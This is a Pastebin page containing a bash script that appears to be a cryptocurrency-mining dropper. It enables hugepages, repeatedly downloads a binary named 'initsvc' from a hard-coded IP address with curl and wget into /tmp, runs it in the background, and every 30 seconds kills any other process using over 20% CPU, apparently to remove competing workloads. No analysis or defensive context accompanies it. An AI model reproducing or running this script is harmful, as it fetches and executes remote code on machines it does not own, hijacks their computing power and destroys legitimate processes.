Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- function kills() {
- /bin/ps axf -o "pid %cpu command" |grep -v initsvc | awk '{if($2>20.0) print $1}' | while read procid
- do
- kill -9 $procid
- done
- }
- function hugepage() {
- echo 128 > /proc/sys/vm/nr_hugepages
- sysctl -w vm.nr_hugepages=128
- }
- function downloadyam() {
- if [ ! -f "initsvc" ] ;then
- curl http://94.177.123.123/css/initsvc > /tmp/initsvc && chmod +x /tmp/initsvc
- if [ ! -f "initsvc" ] ;then
- wget -P /tmp/ curl http://94.177.123.123/css/initsvc && chmod +x /tmp/initsvc
- rm -rf /tmp/initsvc.*
- fi
- /tmp/initsvc &
- else
- p=$(ps aux | grep initsvc | grep -v grep | wc -l)
- if [ ${p} -eq 1 ];then
- echo "initsvc"
- elif [ ${p} -eq 0 ];then
- /tmp/initsvc &
- else
- echo ""
- fi
- fi
- }
- hugepage
- cd /tmp/
- while [ 1 ]
- do
- downloadyam
- kills
- sleep 30
- done
Advertisement
Add Comment
Please, Sign In to add comment